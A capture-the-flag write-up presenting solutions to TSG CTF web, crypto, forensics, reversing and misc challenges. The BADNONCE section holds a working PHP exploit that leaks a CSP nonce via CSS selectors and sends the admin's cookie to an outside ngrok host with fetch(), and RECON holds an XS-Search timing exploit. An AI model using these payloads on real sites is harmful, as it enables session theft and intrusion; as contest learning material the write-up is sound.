Try   HackMD

TSG CTF write-up (NaruseJun)

Japanese version: https://hackmd.io/s/rk-iwwpo4

Sanity Check (Warmup 100pts)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

BADNONCE Part 1 (Web 247pts)

CSS injection and XSS.
FLAG is in admin's cookie.

Injecting evil css containing attribute-selector, we can steal nonce attribute of script tag.

<script nonce=<?= $nonce ?>>
				console.log('Welcome to the dungeon :-)');
</script>

With a nonce, we can inject XSS code and bypass CSP restriction, because the nonce used multiple times.

session_start();
$nonce = md5(session_id());

Exploit is below:

<?php
	if (array_key_exists("save", $_GET)) {
		file_put_contents("flag.txt", $_GET["save"] . PHP_EOL, LOCK_EX | FILE_APPEND);
	}
	else if (array_key_exists("nonce", $_GET)) {
		$nonce = file_get_contents("nonce.txt");
		if (strlen($nonce) < strlen($_GET["nonce"])) {
			file_put_contents("nonce.txt", $_GET["nonce"], LOCK_EX);
		}
	}
	else if (array_key_exists("css", $_GET)) {
		header("Content-Type: text/css");
		echo("script { display: block }" . PHP_EOL);

		$nonce = file_get_contents("nonce.txt");
		$chars = str_split("0123456789abcdef");

		foreach ($chars as $c1) {
			foreach ($chars as $c2) {
				$x = $nonce . $c1 . $c2;
				echo("[nonce^='" . $x . "'] { background: url(http://cf07fd07.ap.ngrok.io/?nonce=" . $x . ") }" . PHP_EOL);
			}
		}
	}
	else if (array_key_exists("go", $_GET)) {
		$nonce = file_get_contents("nonce.txt");
		if (strlen($nonce) < 32) {
			header("Location: http://35.187.214.138:10023/?q=%3Clink%20rel%3D%22stylesheet%22%20href%3D%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fcss%3D" . microtime(true) . "%22%3E");
		}
		else {
			header("Location: http://35.187.214.138:10023/?q=%3Cscript%20nonce%3D%22" . $nonce . "%22%3Efetch(%22http%3A%2F%2Fcf07fd07.ap.ngrok.io%2F%3Fsave%3D%22%20%2B%20encodeURIComponent(document.cookie))%3C%2Fscript%3E");
		}
	}
	else if (array_key_exists("start", $_GET)) {
		file_put_contents("nonce.txt", "", LOCK_EX);
		file_put_contents("flag.txt", "", LOCK_EX);
?>
<html>
<body>
<script>
	setInterval(() => {
		const iframe = document.createElement("iframe");
		iframe.src = `?go=${(new Date).getTime()}`;
		document.body.appendChild(iframe);
	}, 256);
</script>
</body>
</html>
<?php
	}
	else {
		echo("E R R O R !");
	}
?>

Then, report URL of this code.
Admin's browser will execute an evil code and send FLAG to our server.

Secure Bank (Web 497pts)

SHA-1 collision (SHAttered).
Earn much balance to get the FLAG.

  get '/api/flag' do
    return err(401, 'login first') unless user = session[:user]

    hashed_user = STRETCH.times.inject(user){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_user
    row = res.next
    balance = row && row[0]
    res.close

    return err(401, 'login first') unless balance
    return err(403, 'earn more coins!!!') unless balance >= 10_000_000_000

    json({flag: IO.binread('data/flag.txt')})
  end

Transferring balance to oneself causes unexpected doubling of balance, but this request is prohibited.
Database retains SHA-1 hashed value of username as an user's ID, but /api/transfer compares username to check whether the receiver is same as the sender or not.

  post '/api/transfer' do
    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_src
    row = res.next
    balance_src = row && row[0]
    res.close
    return err(422, 'no enough coins') unless balance_src >= amount

    res = DB.query 'SELECT balance FROM account WHERE user = ?', hashed_dst
    row = res.next
    balance_dst = row && row[0]
    res.close
    return err(422, 'no such user') unless balance_dst

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

    json({amount: amount, balance: balance_src})
  end

Therefore, a pair of different usernames which have same SHA-1 hash value breaks this application.
We can easily generate such pair of usernames using SHAttered PDF.

Such like this:

<?php
	$s1 = file_get_contents("shattered-1.pdf");
	$s2 = file_get_contents("shattered-2.pdf");

	$t1 = substr($s1, 0, 320) . "narusejun";
	$t2 = substr($s2, 0, 320) . "narusejun";

	echo(sha1($t1) . PHP_EOL);
	echo(sha1($t2) . PHP_EOL);

	function toStr($c) {
		$i = ord($c);
		if ($c == '"') {
			return '\\"';
		}
		if ($c == '%') {
			return '%%';
		}
		if ($i < 0x20) {
			return sprintf("\\u%04x", $i);
		}
		if ($i < 0x7F) {
			return $c;
		}
		return sprintf("\\x%02x", ord($c));
	}
	$u1 = implode(array_map(toStr, str_split($t1)));
	$u2 = implode(array_map(toStr, str_split($t2)));

	echo($u1 . PHP_EOL);
	echo($u2 . PHP_EOL);
?>

Now, we can double our balance again and again, and obtain a FLAG.

RECON (Web 500pts)

XS-Searching.
Use XSS Auditor to know admin's secret information.

We can inject arbitrary HTML codes into profile page, but any script will be blocked by CSP.
If we report suspicious user, then admin checks that user's page.
We can embed IFRAME into that page, so we can make admin's browser jump to any URL.

The profile page also have answer for secret question as a JavaScript code!

🍇 <input type="checkbox" id="grapes" onchange="grapes.checked=false;" >
🍈 <input type="checkbox" id="melon" onchange="melon.checked=true;" >
🍉 <input type="checkbox" id="watermelon" onchange="watermelon.checked=true;" >
🍊 <input type="checkbox" id="tangerine" onchange="tangerine.checked=true;" >
🍋 <input type="checkbox" id="lemon" onchange="lemon.checked=false;" >
🍌 <input type="checkbox" id="banana" onchange="banana.checked=false;" >
🍍 <input type="checkbox" id="pineapple" onchange="pineapple.checked=true;" >
🍐 <input type="checkbox" id="pear" onchange="pear.checked=false;" >
🍑 <input type="checkbox" id="peach" onchange="peach.checked=false;" >
🍒 <input type="checkbox" id="cherries" onchange="cherries.checked=false;" >
🍓 <input type="checkbox" id="strawberry" onchange="strawberry.checked=false;" >
🍅 <input type="checkbox" id="tomato" onchange="tomato.checked=false;" >
🥥 <input type="checkbox" id="coconut" onchange="coconut.checked=false;" >
🥭 <input type="checkbox" id="mango" onchange="mango.checked=false;" >
🥑 <input type="checkbox" id="avocado" onchange="avocado.checked=false;" >
🍆 <input type="checkbox" id="aubergine" onchange="aubergine.checked=true;" >
🥔 <input type="checkbox" id="potato" onchange="potato.checked=true;" >
🥕 <input type="checkbox" id="carrot" onchange="carrot.checked=true;" >
🥦 <input type="checkbox" id="broccoli" onchange="broccoli.checked=false;" >
🍄 <input type="checkbox" id="mushroom" onchange="mushroom.checked=true;" >

In this page, the header X-XSS-Protection: 1; mode=block is sent. So XSS Auditor is working as block mode.
XSS Auditor inhibits loading this page with query such like ?onchange="grapes.checked=false;".
This behavior is undesirable, because it may be a risk of information leaks.

Then, we made an evil page, which contains two IFRAMEs.
IFRAME loads self-profile page with query, ?onchange="grapes.checked=true;" and ?onchange="grapes.checked=false;".
Measuring loading time of two frames, we are able to know which frame is blocked - in other words, this is which checkbox is checked.

Exploit script:

<?php
	if(array_key_exists("save", $_GET)){
		file_put_contents("save.txt", $_GET["save"] . PHP_EOL, FILE_APPEND | LOCK_EX);
		echo("OK!");
	}else{
?>
<html>
<body>
<script>

function test(key, val){
	return new Promise(function(resolve){
		const iframe = document.createElement("iframe");
		iframe.onload = function(){
			iframe.remove();
			resolve([key, val, new Date().getTime() - time]);
		};
		iframe.src = `http://34.97.74.235:10033/profile?onchange="${key}.checked=${val};"`;
		const time = new Date().getTime();
		document.body.appendChild(iframe);
	});
}

(async () => {
	const results = [];
	for(let i = 0; i < 1; i++){
		results.push([
			await test("mushroom", true),
			await test("mushroom", false),
		]);
	}
	location.href = "?save=" + results;
})();
</script>
</body>
</html>
<?php
	}
?>

With that information, we can view admin's secret message (FLAG).

OPQRX (Crypto 497pts)

Fortunately, we know a very similar problem: hxpCTF2017 flea.

When we decide the k lower bits of p,q, xor constraints and multiply constraints must be satisfied in the k lower bits.

  • pkqk=Xk=Xmod2k
  • pk×qk=Nk=Nmod2k

We hold this constraints and manage DFS to decide bits of p,q from LSB to MSB, one bit by one bit.

The below program will be end in a few minute.

X = 95035(...)51960
N = 24746(...)09489
E = 65537
C = 38292(...)05157

def extgcd(a,b)
    g,x,y = a,1,0
    if b != 0
        o = extgcd(b,a%b)
        g = o[:g]
        x = o[:y]
        y = o[:x] - (a/b)*x
    end
    return {g:g, x:x, y:y}
end
def modinv(a,m)
    o = extgcd(a,m)
    x = o[:x]
    x += m if x < 0
    return x
end

BITS = 4096

ansp, ansq = -1, -1

stack = []
stack.push([0,0,0])
cnt = 0
while stack.length > 0
    cnt += 1
    if cnt % 100000 == 0
        puts "cnt=#{cnt}: stack=#{stack.length}"
    end
    x,y,i = stack.pop
    if x*y==N
        ansp, ansq = x, y
        break
    end
    next if i==BITS
    v = (X>>i) & 1
    for dx in [0,1]
        for dy in [0,1]
            next if (dx^dy) != v
            nx = x + (dx<<i)
            ny = y + (dy<<i)
            msk = (1<<(i+1))-1
            next if ((nx*ny)&msk) != (N&msk)
            stack.push([nx,ny,i+1])
        end
    end
end

puts ansp
puts ansq

# ansp = 58349(...)66043
# ansq = 42410(...)83523

D = modinv(E, (ansp-1)*(ansq-1))
F = C.pow(D,N)

puts [F.to_s(16)].pack("H*")

TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}

OMEGA (Crypto 500pts)

Chinese Reminder Theorem on Z[ω](Eisenstein Integer).

In this problem, we know add/sub/mul/div/mod operations for Eisenstein Integer, so we use them to reconstruct flag.

Because of my misunderstanding or bugs, some of calculation results go wrong. So we fix them by hand(take one of uZ[ω] from six units, then multiply it).

require_relative 'params'

def to_complex(x)
  a, b = x
  w = Math::E ** Complex(0, Math::PI*2.0/3.0)
  a + b*w
end

def add(x, y)
  a, b = x
  c, d = y
  [a+c, b+d]
end

def sub(x, y)
  a, b = x
  c, d = y
  [a-c, b-d]
end

def mul(x, y)
  a, b = x
  c, d = y
  [a*c - b*d, a*d + b*c - b*d]
end

def div(x, y)
  xc, yc = to_complex(x), to_complex(y)
  a, b = (xc / yc).rect
  [(a + b/Math.sqrt(3)).round, (b*2.0/Math.sqrt(3)).round]
end

def mod(x, y)
  # many times...
  100.times do
    k = div(x, y)
    x = sub(x, mul(k, y))
  end
  x
end

$units = [[1,0],[-1,0],[0,1],[0,-1],[1,1],[-1,-1]]

def extgcd(a,b)
  g = a
  x = [1,0]
  y = [0,0]
  if b != [0,0]
      o = extgcd(b,mod(a,b))
      g = o[:g]
      x = o[:y]
      y = sub(o[:x],mul(div(a,b),x))
  end
  return {g:g, x:x, y:y}
end
def modinv(a,m)
  o = extgcd(a,m)
  x = o[:x]
  return x
end

N = PROBLEM.length

r = [0,0]
m = [1,0]
for i in 0...N
  item = PROBLEM[i]
  b = item[0]
  md = item[1]
  o = extgcd(m,md)
  g = o[:g]
  p = div(o[:x], g)
  md = div(md, g)
  tmp = mod(mul(sub(b,r),p),md)
  if i == 1 || i == 4
    tmp = mul(tmp,$units[1])  # ???
  end
  r = add(r,mul(m,tmp))
  m = mul(m,md)

  # check
  puts "CHECK"
  for j in 0..i
    print "#{j}=#{PROBLEM[j][0] == mod(r,PROBLEM[j][1])},"
  end
  puts ""
end

f1,f2 = r
puts [f1.to_s(16)].pack("H*")
puts [f2.to_s(16)].pack("H*")
flag = f1 * (1<<(8*37)) + f2
puts [flag.to_s(16)].pack("H*")
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDI
NG_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}
TSGCTF{I_H34RD_S0ME_IN7EGERS_INCLUDING_EISENSTEIN'S_F0RM_EUCL1DE4N_R1NG!}

Harekaze (Stego 499pts)

Using Error Level Analysis of Forensically, generated a slightly readable image.
Imgur
Then, guessed hard.

Obliterated File (Forensics 92pts)

We got a git local repository.

Viewing the commits, we detected the commit that contains flag file.
So, we checkout this commit.

$ git checkout 84128ed

Change main.cr for output flag.

require "zlib"

flag = File.open("./flag", "r") do |f|
    Zlib::Reader.open(f) do |inflate|
        inflate.gets_to_end
    end
end

puts flag

Execute.

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

Obliterated File Again (Forensics 178pts)

git gc was extecuted, so we viewed .git/packed-refs.

# pack-refs with: peeled fully-peeled sorted 
072690c0aaf46bc7875b67d6323b8f8d2074aaca refs/heads/master
1c80e25f51797b19dfbdeb0e2831ebd9bba64ab8 refs/original/refs/heads/master

Checkout 1c80e25f.

$ git checkout 1c80e25f

After that, the same as Obliterated File.

$ crystal main.cr
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master_S0rry_f0r_m4king_4_m1st4k3_0n_th1s_pr0bl3m}

ffi (Reversing 488pts)

We got a ttf file.
As stated, we tried typing some flags.

Typing TSGCTF{flag}, it is displayed as TSGCTF{flag} is incorrect if flag is incorrect.

We opened it by FontForge.

glyph346 is displayed as } is correct.
glyph347 is displayed as } is incorrect.

Viewing Element > Font Info > Lookups, many ligatures are configured.

We've only to get what string is displayed as is correct from this configurations.

We used fonttools.

$ pip install fonttools
$ ttx ffi.ttf

Search glyph00346 which is displayed as } is correct.

  <Lookup index="51">
    <LookupType value="1"/>
    <LookupFlag value="0"/>
    <!-- SubTableCount=1 -->
    <SingleSubst index="0" Format="2">
      <Substitution in="a" out="glyph00102"/>
      <Substitution in="b" out="glyph00113"/>
      <Substitution in="braceright" out="glyph00346"/>
      <Substitution in="c" out="glyph00114"/><Substitution in="z" out="glyph00323"/>
    </SingleSubst>
  </Lookup>

In a certain string, } shows glyph00346.

We focused on <Lookup index="51">, and searched "51".

<ChainContextSubst index="51" Format="3">
  <!-- BacktrackGlyphCount=1 -->
  <BacktrackCoverage index="0" Format="1">
    <Glyph value="glyph00140"/>
  </BacktrackCoverage>
  <!-- InputGlyphCount=1 -->
  <InputCoverage index="0" Format="2">
    <Glyph value="underscore"/>
    <Glyph value="a"/>
    <Glyph value="b"/>
    :
    <Glyph value="y"/>
    <Glyph value="z"/>
    <Glyph value="braceright"/>
  </InputCoverage>
  <!-- LookAheadGlyphCount=0 -->
  <!-- SubstCount=1 -->
  <SubstLookupRecord index="0">
    <SequenceIndex value="0"/>
    <LookupListIndex value="51"/>
  </SubstLookupRecord>
</ChainContextSubst>

Next, search glyph00140.

  <Lookup index="130">
    <LookupType value="1"/>
    <LookupFlag value="0"/>
    <!-- SubTableCount=1 -->
    <SingleSubst index="0" Format="2">
      <Substitution in="a" out="glyph00103"/>
      :
      <Substitution in="d" out="glyph00128"/>
      <Substitution in="e" out="glyph00140"/>
      <Substitution in="f" out="glyph00144"/>
      :
      <Substitution in="z" out="glyph00324"/>
    </SingleSubst>
  </Lookup>

In a certain string, e shows glyph00140.

After that, index="130"glyph00219(n)→
So we got TSGCTF{ligature_state_machine}.

Try typing the flag.

Recorded (Misc 500pts)

Decoded input with the following script.

#include <assert.h>
#include <fcntl.h>
#include <linux/input.h>
#include <stdio.h>
#include <sys/time.h>

int main(void)
{
  int fd = open("input", O_RDWR);
  assert(fd != -1);

  for (;;) {
    struct input_event event;
    assert(read(fd, &event, sizeof(event)) == sizeof(event));
    if (event.type == 0x1 && event.value == 0x1) {
      switch (event.code) {
        case KEY_1:
          putchar('1');
          break;
        case KEY_2:
          putchar('2');
          break;
        case KEY_3:
          putchar('3');
          break;
        case KEY_4:
          putchar('4');
          break;
        case KEY_5:
          putchar('5');
          break;
        case KEY_6:
          putchar('6');
          break;
        case KEY_7:
          putchar('7');
          break;
        case KEY_8:
          putchar('8');
          break;
        case KEY_9:
          putchar('9');
          break;
        case KEY_0:
          putchar('0');
          break;
        case KEY_MINUS:
          putchar('-');
          break;
        case KEY_EQUAL:
          putchar('=');
          break;
        case KEY_Q:
          putchar('q');
          break;
        case KEY_W:
          putchar('w');
          break;
        case KEY_E:
          putchar('e');
          break;
        case KEY_R:
          putchar('r');
          break;
        case KEY_T:
          putchar('t');
          break;
        case KEY_Y:
          putchar('y');
          break;
        case KEY_U:
          putchar('u');
          break;
        case KEY_I:
          putchar('i');
          break;
        case KEY_O:
          putchar('o');
          break;
        case KEY_P:
          putchar('p');
          break;
        case KEY_LEFTBRACE:
          putchar('(');
          break;
        case KEY_RIGHTBRACE:
          putchar(')');
          break;
        case KEY_ENTER:
          putchar('\n');
          break;
        case KEY_A:
          putchar('a');
          break;
        case KEY_S:
          putchar('s');
          break;
        case KEY_D:
          putchar('d');
          break;
        case KEY_F:
          putchar('f');
          break;
        case KEY_G:
          putchar('g');
          break;
        case KEY_H:
          putchar('h');
          break;
        case KEY_J:
          putchar('j');
          break;
        case KEY_K:
          putchar('k');
          break;
        case KEY_L:
          putchar('l');
          break;
        case KEY_SEMICOLON:
          putchar(';');
          break;
        case KEY_APOSTROPHE:
          putchar('\'');
          break;
        case KEY_GRAVE:
          putchar('`');
          break;
        case KEY_BACKSLASH:
          putchar('\\');
          break;
        case KEY_Z:
          putchar('z');
          break;
        case KEY_X:
          putchar('x');
          break;
        case KEY_C:
          putchar('c');
          break;
        case KEY_V:
          putchar('v');
          break;
        case KEY_B:
          putchar('b');
          break;
        case KEY_N:
          putchar('n');
          break;
        case KEY_M:
          putchar('m');
          break;
        case KEY_COMMA:
          putchar(',');
          break;
        case KEY_DOT:
          putchar('.');
          break;
        case KEY_SLASH:
          putchar('/');
          break;
        case KEY_SPACE:
          putchar(' ');
          break;
        case KEY_LEFTSHIFT:
          printf("<shift>");
          break;
        case KEY_TAB:
          printf("<tab>");
          break;
        case KEY_BACKSPACE:
          printf("<bs>");
          break;
        default:
          printf("<%d>", event.code);
      }
      //printf(": %lu\n", event.time.tv_sec);
    }
  }
  close(fd);
}

The result was below.

rm /dev/ura<tab>
rm /dev/ra<tab>
<shift>lang-c date --utc <shift>. /dev/random
echo nyan <shift>.. /dev/ra<tab>
curl -<shift>o https'//www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand<shift><89>unix.c
637<shift>gd17d621<shift>gd2d603<shift>gdd480<shift>gd30d'wq
vim cr<tab>ra<tab>ra<tab><shift><89>li<tab>
250<shift>gd2d'wq
./co<tab>
make -j 4
cd ..
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 <shift>. key.pem
<shift>ld<89>library<89>path-./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fd<bs>g 1

Formatted the result, guessing.

rm /dev/ura<tab>
rm /dev/ra<tab>
LANG=C date --utc > /dev/random (enter key tv_sec = 1556368668)
echo nyan >> /dev/ra<tab>
curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz
tar xzvf ope<tab>
cd ope<tab><tab>
vim cry<tab>ra<tab>rand_unix.c
637Gd17d621Gd2d603Gdd480Gd30d:wq
vim cr<tab>ra<tab>ra<tab>_li<tab>
250Gd2d:wq
./co<tab>
make -j 4
cd ..
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>app<tab>ope<tab>genrsa 1024 > key.pem (enter key tv_sec = 1556368884)
LD_LIBRARY_PATH=./ope<tab> ./ope<tab>ap<tab>ope<tab>rsautl -encrypt -inkey key.<tab>-in fl<tab>-out encrypted
fg 1
^C

With the given Dockerfile, built the problem image and started a container on it.
In the container, removed /dev/urandom and /dev/random and recreated /dev/random with the following commands.

# rm /dev/urandom
# rm /dev/random
# LANG=C date --utc --date="@1556368668" > /dev/random
# echo nyan >> /dev/random

Following the decoding result, built a modified OpenSSL binary. However, re-modified get_time_stamp() in crypto/rand/rand_unix.c like that:

static uint64_t get_time_stamp(void)
{
    return 1556368884;
}

Reading OpenSSL source codes, understood there were 3 factors randomizing the key.pem generation, which were /dev/random, the generating time and the generating process's ID.
The decoding result tells correct /dev/random and the correct generating time, but the correct PID remained unknown.
Therefore, copied encrypted into the container, and then did a blute-force attack with the following commands.

# for ((i = 0; i < 40000; i++)); do LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl genrsa 1024 > key.pem && LD_LIBRARY_PATH=./openssl-1.1.1b ./openssl-1.1.1b/apps/openssl rsautl -decrypt -inkey key.pem -in encrypted -out flag-${i}.txt; done
# ls -lS | more

Finally, found the flag.

# cat flag-2936.txt 
TSGCTF{openssl_genrsa_is_hardly_predictable}